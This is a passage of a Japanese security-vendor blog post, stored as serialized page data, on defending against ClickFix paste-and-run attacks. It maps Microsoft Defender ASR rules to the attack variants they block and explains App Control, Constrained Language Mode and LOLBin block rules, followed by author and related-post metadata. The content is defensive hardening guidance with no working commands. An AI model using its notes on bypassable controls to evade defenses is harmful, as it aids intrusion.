nowrap",[551,942,943],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[919,945,946],{"style":936},"ダウンロードしたペイロードを起動するWSH、.js、.vbs",[899,948,901,949,901,952,901,957,897],{},[919,950,951],{"style":921},"実行可能ファイルを普及度、経過期間、信頼リストの基準を満たす場合にのみ許可する",[919,953,954],{"style":925},[551,955,956],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[919,958,959],{"style":921},"新しい、あるいは希少な形で書き込まれた実行ファイル",[899,961,901,962,901,965,901,970,897],{},[919,963,964],{"style":936},"メールクライアントとWebメールからの実行可能コンテンツをブロックする",[919,966,967],{"style":940},[551,968,969],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[919,971,972],{"style":936},"メールで配信されるClickFixの亜種",[899,974,901,975,901,978,901,983,897],{},[919,976,977],{"style":921},"すべてのOfficeアプリケーションが子プロセスを生成するのを防ぐ",[919,979,980],{"style":925},[551,981,982],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[919,984,985],{"style":921},"インタープリターを起動するOfficeおとりの亜種",[534,987,988],{},"ASRはまず監査モードで展開し、次にパイロット、それからブロックモードに進めてください。Tamper Protectionは最後の一線です。攻撃者が検知を無効化するのを防ぎます。",[534,990,991],{},"PowerShell自体については、レガシーなインタープリターによるリスクを減らします。新しいバージョンのロギング機能やセキュリティ機能を欠くWindows PowerShell 2.0とレガシーのVBScriptコンポーネントを、可能な範囲で特定して削除してください。次の一手はConstrained Language Mode（CLM）で、PowerShellで利用できる言語要素を制限し、スクリプトベースの手法の多くをブロックします。CLMが堅牢なセキュリティ価値を持つのは、システムのアプリケーション制御ポリシーがそれを強制する場合（App Control for Business）だけです。環境変数やAppLockerを使う方式はより弱く、回避可能です。そして多くのシステムは動作にFull Language Modeを必要とします。ソフトウェア配布のツールなどです。そのためCLMは、選ばれた環境でのみ実現可能であることが少なくありません。",[534,993,994],{},"ここでApp Control for Business（旧WDAC）の話になります。App Controlは、どの実行ファイル、スクリプト、ドライバーが動作してよいかについてコード整合性ポリシーを強制します。戦略的な立ち位置はデフォルト拒否に加えて、既知のLOLBinおよびバイパスのブロックリストであるMicrosoft推奨のBlock Rulesです。App ControlはPowerShellのCLMにとって正しい強制経路でもあります。Script Enforcementは、MSHTAとMSXMLのスクリプトホストをブロックし、PowerShellをCLMに押し込み、許可されていないWindows Script Hostの利用をブロックします。いくつかの挙動上の事実が重要です。",[803,996,806,997,806,1000,806,1003],{"style":805},[808,998,999],{},"Windowsを信頼するベースポリシーは、信頼されたLOLBinを自動的にブロックするわけではありません。既知のバイパスを塞ぐには、Microsoft推奨のBlock Rulesをマージする必要があります。",[808,1001,1002],{},"App Controlは署名済みのpowershell.exeやcmd.exeの起動を妨げません。制限するのはそれらが何をできるか（CLM、未署名または未許可のペイロードの排除）であり、cmd.exe、.bat、.cmdの内容までは制御しません。だからこそASRや起動のハードニングと重ねて使い、単独では使わないのです。",[808,1004,1005],{},"監査モードは中立ではありません。Script Enforcementは監査でもMSHTAとMSXMLの実行をブロックし、PowerShellのCLMの挙動を変えることがあります。そのためApp Controlは監査であっても、最初の展開からパイロットまたはリング単位に限定しなければならず、全社一斉にしてはいけません。",[534,1007,1008],{},"App Controlは、インタープリター、LOLBin、ペイロード実行のフェーズに対して単体で最も高い確度を持つ統制であり、堅牢なCLMを強制します。同時に、展開の複雑さとロールバックのリスクも最も高くなります。設定を誤れば実行がブロックされるからです。統制されたパイロットリングを通じて導入してください。",[529,1010,1011],{"id":1011},"当社の出番",[534,1013,536],{},[534,1015,1016,1017,1021],{},"ClickFixは速く、Microsoftのネイティブ検知は大半をカバーしますが、すべてではありません。CSOCをご利用のお客様に対しては、隙間が現れるところで当社がカバー範囲を継続的に広げています。Windows Terminal経由の実行、RATを用いたサポート詐欺、侵害後の振る舞いなどです。自社の環境が現在どの位置にあるかを知りたい方は、",[1018,1019,1020],"a",{"href":276},"ご連絡ください","。",[1023,1024,1025],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":577,"searchDepth":676,"depth":676,"links":1027},[1028,1029,1030,1031,1032,1033,1034,1035,1036],{"id":531,"depth":676,"text":532},{"id":615,"depth":676,"text":616},{"id":627,"depth":676,"text":627},{"id":649,"depth":676,"text":650},{"id":762,"depth":676,"text":763},{"id":792,"depth":676,"text":793},{"id":829,"depth":676,"text":830},{"id":845,"depth":676,"text":846},{"id":1011,"depth":676,"text":1011},"md","post",{"lang":1040,"seoTitle":1041,"titleClass":1042,"date":1043,"categories":1044,"blogtitlepic":1045,"socialimg":1046,"customExcerpt":1047,"keywords":1048,"asideNav":1049,"published":325},"ja","ClickFix攻撃を検知して防ぐ：Win+Rペーストの手口","h2-font-size","2026-09-21",[235],"head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFixはユーザーを自分自身への攻撃者に変えます。偽のCAPTCHA、コピー＆ペースト、そして悪意あるコードがメモリ上で走り、ディスクには何も残りません。Microsoft Defenderがこの攻撃をどう検知するのか、検知はどこで限界に達するのか、そしてRunMRUハントと4つの防御レイヤーでその隙間をどう埋めるのかを解説します。","ClickFix, ClickFix 攻撃, ClickFix 検知, ClickFix 防止, 偽CAPTCHA, Win+R 攻撃, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASRルール, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, インフォスティーラー, LOLBin, PowerShell ハードニング",{"menuItems":1050},[1051,1054,1057,1060,1063,1066,1069,1072,1075],{"href":1052,"text":1053},"#clickfixの攻撃チェーン","攻撃チェーン",{"href":1055,"text":1056},"#microsoft-defenderが検知するもの","Defenderが検知するもの",{"href":1058,"text":1059},"#ネイティブ検知が限界に達するところ","どこでつまずくか",{"href":1061,"text":1062},"#その隙間を埋めるrunmruハント","隙間を埋める",{"href":1064,"text":1065},"#防御レイヤー1配信をブロックする","レイヤー1：配信",{"href":1067,"text":1068},"#防御レイヤー2トリックをブロックする","レイヤー2：トリック",{"href":1070,"text":1071},"#防御レイヤー3操作をブロックする","レイヤー3：操作",{"href":1073,"text":1074},"#防御レイヤー4実行をブロックする","レイヤー4：実行",{"href":1076,"text":1011},"#当社の出番","/posts/2026-09-21-clickfix-prevent-detect",{"title":521,"description":577},"posts/2026-09-21-clickfix-prevent-detect",[1081,1082,1083],"Defender","SOC","Endpoint Security","QVSlYhTffeBkc3miILninyrGf79fx7pzGxgoQAZgNPo",{"id":1086,"extension":1087,"meta":1088,"stem":8,"__hash__":1437},"authors_data/authors.json","json",{"path":1089,"Fritz Zurhorst":1090,"Alexander Schlindwein":1095,"Sophie Luna":1101,"Nadine Klein":1109,"Karsten Kleinschmidt":1114,"Julian Wendt":1122,"Holger Bunkradt":1127,"Ralf Mania":1133,"Oliver Kieselbach":1139,"Steffen Schwerdtfeger":1145,"Gunnar Winter":1153,"Jan Petersen":1158,"Thorsten Kunzi":1163,"Moritz Pohl":1167,"Thorben Pöschus":1172,"Christoph Hannebauer":1178,"Marco Scheel":1182,"Christopher Brumm":1187,"Florian Klante":1194,"Niklas Bachmann":1199,"Nils Krautkrämer":1204,"Patrick Treptau":1210,"Peter Beckendorf":1215,"Patrick Sobau":1220,"Jörg Wunderlich":1225,"Michael Breither":1229,"Christian Kanja":1234,"Zeba Hoffmann":1240,"Jochen Fröhlich":1245,"Jan Geisbauer":1249,"Gerrit Reinke":1261,"Christian Kordel":1267,"Stephan Wälde":1271,"Carolin Kanja":1276,"Adrian Ritter":1282,"Marvin Bangert":1287,"Thorsten Pickhan":1293,"Christian Lorenz":1299,"Denis Böhm":1304,"Fabian Bader":1309,"Juan Jose Fernandez Perez":1315,"Mahschid Sayyar":1320,"Benjamin Dassow":1325,"Markus Walschburger":1330,"Jonathan Haist":1335,"Daniel Rohregger":1340,"Thomas Naunheim":1345,"Florian Stöckl":1350,"Pascal Asch":1355,"Markus Kättner":1360,"Anna Ulbricht":1367,"Annette Brauns":1374,"body":1380,"title":1436},"/authors",{"display_name":523,"avatar":1091,"permalink":1092,"linkedin":1093,"imageOffsetTop":1094},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":1096,"avatar":1097,"permalink":1098,"twitter":1099,"linkedin":1100},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1102,"avatar":1103,"permalink":1104,"twitter":1105,"linkedin":1106,"imageOffsetLeft":1107,"imageOffsetTop":1108},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":524,"avatar":1110,"permalink":1111,"twitter":1112,"linkedin":1113,"imageOffsetTop":1094},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":1115,"avatar":1116,"permalink":1117,"twitter":1118,"linkedin":1119,"imageOffsetTop":1120,"imageOffsetLeft":1121},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":1123,"avatar":1124,"permalink":1125,"linkedin":1126},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1128,"avatar":1129,"permalink":1130,"linkedin":1131,"twitter":1132},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1134,"avatar":1135,"permalink":1136,"linkedin":1137,"twitter":1138},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1140,"avatar":1141,"permalink":1142,"linkedin":1143,"twitter":1144},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1146,"avatar":1147,"permalink":1148,"linkedin":1149,"twitter":1150,"imageOffsetTop":1151,"imageOffsetLeft":1152},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1154,"avatar":1155,"permalink":1156,"twitter":1105,"linkedin":1157},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1159,"avatar":1160,"permalink":1161,"twitter":1105,"linkedin":1162},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1164,"avatar":1165,"permalink":1166,"twitter":1105,"linkedin":1157,"imageOffsetTop":1094},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1168,"avatar":1169,"permalink":1170,"twitter":1105,"linkedin":1171},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1173,"avatar":1174,"permalink":1175,"twitter":1176,"linkedin":1177},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1179,"avatar":1180,"permalink":1181,"twitter":1105,"linkedin":1157,"imageOffsetTop":1094},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1183,"avatar":1184,"permalink":1185,"twitter":1186,"linkedin":1186},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1188,"avatar":1189,"permalink":1190,"twitter":1191,"linkedin":1192,"imageOffsetTop":1193},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1195,"avatar":1196,"permalink":1197,"linkedin":1198,"twitter":1105},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1200,"avatar":1201,"permalink":1202,"linkedin":1203,"twitter":1105},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1205,"avatar":1206,"permalink":1207,"twitter":1208,"linkedin":1209},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1211,"avatar":1212,"permalink":1213,"linkedin":1214,"twitter":1105},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1216,"avatar":1217,"permalink":1218,"linkedin":1219,"twitter":1105,"imageOffsetTop":1094},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1221,"avatar":1222,"permalink":1223,"linkedin":1224,"twitter":1105},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1226,"avatar":1227,"permalink":1228,"twitter":1105},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1230,"avatar":1231,"permalink":1232,"twitter":1105,"linkedin":1233},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1235,"avatar":1236,"permalink":1237,"twitter":1238,"linkedin":1239},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1241,"avatar":1242,"permalink":1243,"linkedin":1244,"twitter":1105},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1246,"avatar":1247,"permalink":1248,"twitter":1105,"linkedin":1157},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":1250,"avatar":1251,"permalink":1252,"twitter":1253,"linkedin":1253,"imageOffsetTop":1094,"socials":1254},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1255,1258],{"text":1256,"href":1257},"Blog","https://emptydc.com",{"text":1259,"href":1260},"Podcast","https://hairlessinthecloud.com",{"display_name":1262,"avatar":1263,"permalink":1264,"twitter":1265,"linkedin":1266},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1268,"avatar":1269,"permalink":1270,"twitter":1105,"linkedin":1157},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1272,"avatar":1273,"permalink":1274,"twitter":1275,"linkedin":1157},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1280,"linkedin":1281},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1283,"avatar":1284,"permalink":1285,"twitter":1286,"linkedin":1286},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1288,"avatar":1289,"permalink":1290,"twitter":1291,"linkedin":1292},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1294,"avatar":1295,"permalink":1296,"twitter":1297,"linkedin":1298},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1300,"avatar":1301,"permalink":1302,"linkedin":1303,"twitter":1105},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1305,"avatar":1306,"permalink":1307,"linkedin":1308,"twitter":1105},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1310,"avatar":1311,"permalink":1312,"linkedin":1313,"twitter":1314},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1316,"avatar":1317,"permalink":1318,"linkedin":1319},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1321,"avatar":1322,"permalink":1323,"linkedin":1324},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1326,"avatar":1327,"permalink":1328,"linkedin":1329},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1331,"avatar":1332,"permalink":1333,"linkedin":1334},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1336,"avatar":1337,"permalink":1338,"linkedin":1339,"imageOffsetTop":1094},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1341,"avatar":1342,"permalink":1343,"linkedin":1344,"imageOffsetTop":1094},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1346,"avatar":1347,"permalink":1348,"linkedin":1349,"imageOffsetTop":1193},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1351,"avatar":1352,"permalink":1353,"linkedin":1354,"imageOffsetTop":1193},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1356,"avatar":1357,"permalink":1358,"linkedin":1359,"imageOffsetTop":1193},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1361,"avatar":1362,"permalink":1363,"linkedin":1364,"imageOffsetTop":1365,"imageOffsetLeft":1366},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1368,"avatar":1369,"permalink":1370,"linkedin":1371,"imageOffsetTop":1372,"imageOffsetLeft":1373},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1379,"imageOffsetLeft":1120},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":1381,"Alexander Schlindwein":1382,"Sophie Luna":1383,"Nadine Klein":1384,"Karsten Kleinschmidt":1385,"Julian Wendt":1386,"Holger Bunkradt":1387,"Ralf Mania":1388,"Oliver Kieselbach":1389,"Steffen Schwerdtfeger":1390,"Gunnar Winter":1391,"Jan Petersen":1392,"Thorsten Kunzi":1393,"Moritz Pohl":1394,"Thorben Pöschus":1395,"Christoph Hannebauer":1396,"Marco Scheel":1397,"Christopher Brumm":1398,"Florian Klante":1399,"Niklas Bachmann":1400,"Nils Krautkrämer":1401,"Patrick Treptau":1402,"Peter Beckendorf":1403,"Patrick Sobau":1404,"Jörg Wunderlich":1405,"Michael Breither":1406,"Christian Kanja":1407,"Zeba Hoffmann":1408,"Jochen Fröhlich":1409,"Jan Geisbauer":1410,"Gerrit Reinke":1414,"Christian Kordel":1415,"Stephan Wälde":1416,"Carolin Kanja":1417,"Adrian Ritter":1418,"Marvin Bangert":1419,"Thorsten Pickhan":1420,"Christian Lorenz":1421,"Denis Böhm":1422,"Fabian Bader":1423,"Juan Jose Fernandez Perez":1424,"Mahschid Sayyar":1425,"Benjamin Dassow":1426,"Markus Walschburger":1427,"Jonathan Haist":1428,"Daniel Rohregger":1429,"Thomas Naunheim":1430,"Florian Stöckl":1431,"Pascal Asch":1432,"Markus Kättner":1433,"Anna Ulbricht":1434,"Annette Brauns":1435},{"display_name":523,"avatar":1091,"permalink":1092,"linkedin":1093,"imageOffsetTop":1094},{"display_name":1096,"avatar":1097,"permalink":1098,"twitter":1099,"linkedin":1100},{"display_name":1102,"avatar":1103,"permalink":1104,"twitter":1105,"linkedin":1106,"imageOffsetLeft":1107,"imageOffsetTop":1108},{"display_name":524,"avatar":1110,"permalink":1111,"twitter":1112,"linkedin":1113,"imageOffsetTop":1094},{"display_name":1115,"avatar":1116,"permalink":1117,"twitter":1118,"linkedin":1119,"imageOffsetTop":1120,"imageOffsetLeft":1121},{"display_name":1123,"avatar":1124,"permalink":1125,"linkedin":1126},{"display_name":1128,"avatar":1129,"permalink":1130,"linkedin":1131,"twitter":1132},{"display_name":1134,"avatar":1135,"permalink":1136,"linkedin":1137,"twitter":1138},{"display_name":1140,"avatar":1141,"permalink":1142,"linkedin":1143,"twitter":1144},{"display_name":1146,"avatar":1147,"permalink":1148,"linkedin":1149,"twitter":1150,"imageOffsetTop":1151,"imageOffsetLeft":1152},{"display_name":1154,"avatar":1155,"permalink":1156,"twitter":1105,"linkedin":1157},{"display_name":1159,"avatar":1160,"permalink":1161,"twitter":1105,"linkedin":1162},{"display_name":1164,"avatar":1165,"permalink":1166,"twitter":1105,"linkedin":1157,"imageOffsetTop":1094},{"display_name":1168,"avatar":1169,"permalink":1170,"twitter":1105,"linkedin":1171},{"display_name":1173,"avatar":1174,"permalink":1175,"twitter":1176,"linkedin":1177},{"display_name":1179,"avatar":1180,"permalink":1181,"twitter":1105,"linkedin":1157,"imageOffsetTop":1094},{"display_name":1183,"avatar":1184,"permalink":1185,"twitter":1186,"linkedin":1186},{"display_name":1188,"avatar":1189,"permalink":1190,"twitter":1191,"linkedin":1192,"imageOffsetTop":1193},{"display_name":1195,"avatar":1196,"permalink":1197,"linkedin":1198,"twitter":1105},{"display_name":1200,"avatar":1201,"permalink":1202,"linkedin":1203,"twitter":1105},{"display_name":1205,"avatar":1206,"permalink":1207,"twitter":1208,"linkedin":1209},{"display_name":1211,"avatar":1212,"permalink":1213,"linkedin":1214,"twitter":1105},{"display_name":1216,"avatar":1217,"permalink":1218,"linkedin":1219,"twitter":1105,"imageOffsetTop":1094},{"display_name":1221,"avatar":1222,"permalink":1223,"linkedin":1224,"twitter":1105},{"display_name":1226,"avatar":1227,"permalink":1228,"twitter":1105},{"display_name":1230,"avatar":1231,"permalink":1232,"twitter":1105,"linkedin":1233},{"display_name":1235,"avatar":1236,"permalink":1237,"twitter":1238,"linkedin":1239},{"display_name":1241,"avatar":1242,"permalink":1243,"linkedin":1244,"twitter":1105},{"display_name":1246,"avatar":1247,"permalink":1248,"twitter":1105,"linkedin":1157},{"display_name":1250,"avatar":1251,"permalink":1252,"twitter":1253,"linkedin":1253,"imageOffsetTop":1094,"socials":1411},[1412,1413],{"text":1256,"href":1257},{"text":1259,"href":1260},{"display_name":1262,"avatar":1263,"permalink":1264,"twitter":1265,"linkedin":1266},{"display_name":1268,"avatar":1269,"permalink":1270,"twitter":1105,"linkedin":1157},{"display_name":1272,"avatar":1273,"permalink":1274,"twitter":1275,"linkedin":1157},{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1280,"linkedin":1281},{"display_name":1283,"avatar":1284,"permalink":1285,"twitter":1286,"linkedin":1286},{"display_name":1288,"avatar":1289,"permalink":1290,"twitter":1291,"linkedin":1292},{"display_name":1294,"avatar":1295,"permalink":1296,"twitter":1297,"linkedin":1298},{"display_name":1300,"avatar":1301,"permalink":1302,"linkedin":1303,"twitter":1105},{"display_name":1305,"avatar":1306,"permalink":1307,"linkedin":1308,"twitter":1105},{"display_name":1310,"avatar":1311,"permalink":1312,"linkedin":1313,"twitter":1314},{"display_name":1316,"avatar":1317,"permalink":1318,"linkedin":1319},{"display_name":1321,"avatar":1322,"permalink":1323,"linkedin":1324},{"display_name":1326,"avatar":1327,"permalink":1328,"linkedin":1329},{"display_name":1331,"avatar":1332,"permalink":1333,"linkedin":1334},{"display_name":1336,"avatar":1337,"permalink":1338,"linkedin":1339,"imageOffsetTop":1094},{"display_name":1341,"avatar":1342,"permalink":1343,"linkedin":1344,"imageOffsetTop":1094},{"display_name":1346,"avatar":1347,"permalink":1348,"linkedin":1349,"imageOffsetTop":1193},{"display_name":1351,"avatar":1352,"permalink":1353,"linkedin":1354,"imageOffsetTop":1193},{"display_name":1356,"avatar":1357,"permalink":1358,"linkedin":1359,"imageOffsetTop":1193},{"display_name":1361,"avatar":1362,"permalink":1363,"linkedin":1364,"imageOffsetTop":1365,"imageOffsetLeft":1366},{"display_name":1368,"avatar":1369,"permalink":1370,"linkedin":1371,"imageOffsetTop":1372,"imageOffsetLeft":1373},{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1379,"imageOffsetLeft":1120},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":1439,"authors":1646},[1440,1456,1461,1475,1491,1504,1517,1530,1542,1558,1572,1587,1605,1616,1630],{"id":1441,"title":1442,"author":1443,"cta":494,"description":577,"hideInRecent":484,"layout":1038,"meta":1444,"moment":1448,"path":1449,"stem":1450,"tags":1451,"webcast":484},"content_ja/posts/2026-09-22-end-of-mfa-sms.md","MFA向けSMSの終わり",[1115],{"lang":1040,"date":1043,"categories":1445,"blogtitlepic":1446,"customExcerpt":1447},[235],"head-conditional-access.jpg","企業がいまフィッシング耐性のある、できるだけパスワードレスな認証方式へ移行すべき理由。","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,1452,1453,1454,1455],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":520,"title":521,"author":1457,"cta":494,"description":577,"hideInRecent":484,"layout":1038,"meta":1458,"moment":1043,"path":1077,"stem":1079,"tags":1460,"webcast":484},[523,524],{"lang":1040,"date":1043,"categories":1459,"blogtitlepic":1045,"customExcerpt":1047},[235],[1081,1082,1083],{"id":1462,"title":1463,"author":1464,"cta":494,"description":577,"hideInRecent":484,"layout":1038,"meta":1465,"moment":1043,"path":1469,"stem":1470,"tags":1471,"webcast":484},"content_ja/posts/2026-09-21-red-tenant-dark-tenant-cio.md","管理業務と日常業務を1台のPCで。Game Overです。",[1250],{"lang":1040,"date":1043,"categories":1466,"blogtitlepic":1467,"customExcerpt":1468},[235],"head-game-over-en.jpg","CIOにとってテナントが1つでは足りない理由と、2つ目がめったに検討されない理由。Managed Red Tenantは管理業務をオフィス環境からアーキテクチャとして分離し、Managed Dark Tenantは防御が破られてもなお組織が動き続けられるようにします。それが運用モデル、SOCのシグナル、そしてNISG 2026による証明義務にとって何を意味するのかを解説します。","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,1472,1473,1474],"Privileged Access","Zero Trust","NIS2",{"id":1476,"title":1477,"author":1478,"cta":494,"description":1479,"hideInRecent":484,"layout":1038,"meta":1480,"moment":1481,"path":1486,"stem":1487,"tags":1488,"webcast":484},"content_ja/posts/2026-08-08-isg-germany-2026.md","4度のLeader。ISGドイツ調査2026のglueckkanja",[1277],"ISGは今年、調査の名称を変更しました。Microsoft Cloud EcosystemはMicrosoft AI and Cloud Ecosystemになり、名称とともに評価の尺度も移りました。問われるのはもはや、誰がMicrosoftプラットフォームを導入したかではなく、誰がCopilot、エージェント、AIワークロードを制御可能なかたちで運用しているかです。この新しい尺度によって当社の位置づけが変わることはありませんでした。ISG Provider Lens®調査ドイツ2026は、当社を4つのクアドラントでLeaderに位置づけています。Microsoft Productivity and Business Process ServicesとAzure Managed Servicesの、それぞれLarge MarketとMid Marketです。2021年、2023年、2024年、2025年に続き、ドイツでは5回目のLeader評価となります。スイスでのLeaderクアドラント入りはその2週間前でした。",{"lang":1040,"date":1481,"categories":1482,"blogtitlepic":1484,"customExcerpt":1485},"2026-08-08",[1483],"Corporate","head-isg-de-2026.png","ISG Provider Lens®調査2026は、ドイツにおいてglueckkanjaを4つのクアドラントでLeaderに位置づけました。Microsoft Productivity and Business Process ServicesとAzure Managed Servicesの、それぞれLarge MarketとMid Marketです。調査の名称はMicrosoft AI and Cloud Ecosystemに変わり、評価の尺度も移りました。AIとエージェントのワークロードを制御可能なかたちで運用できるかが問われています。","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[1489,1490],"Award","ISG",{"id":1492,"title":1493,"author":1494,"cta":494,"description":1495,"hideInRecent":484,"layout":1038,"meta":1496,"moment":1497,"path":1501,"stem":1502,"tags":1503,"webcast":484},"content_ja/posts/2026-07-31-isg-switzerland-2026.md","Rising StarからLeaderへ。ISGスイス調査2026のglueckkanja",[1277],"2024年に当社はglueckkanja Switzerland AGを設立し、ベルンのBahnhofplatz 10bにあるzentroomにオフィスを構えました。2025年、ISGはスイス市場で当社をRising Starに位置づけました。アナリストがLeaderクアドラントへの躍進を見込むベンダーという位置づけです。その躍進がいま記録されました。ISG Provider Lens®調査2026は、スイスにおいて当社をMicrosoft AI and Cloud Ecosystemクアドラントの、Azure Managed Services領域とMicrosoft Productivity and Business Process Services領域でLeaderに位置づけています。",{"lang":1040,"date":1497,"categories":1498,"blogtitlepic":1499,"customExcerpt":1500},"2026-07-31",[1483],"head-isg-ch-2026.png","ISG Provider Lens®調査2026は、スイスにおいてglueckkanjaをMicrosoft AI and Cloud Ecosystemクアドラントの、Azure Managed Services領域とMicrosoft Productivity and Business Process Services領域でLeaderに位置づけました。ベルンでの市場参入から2年、Rising 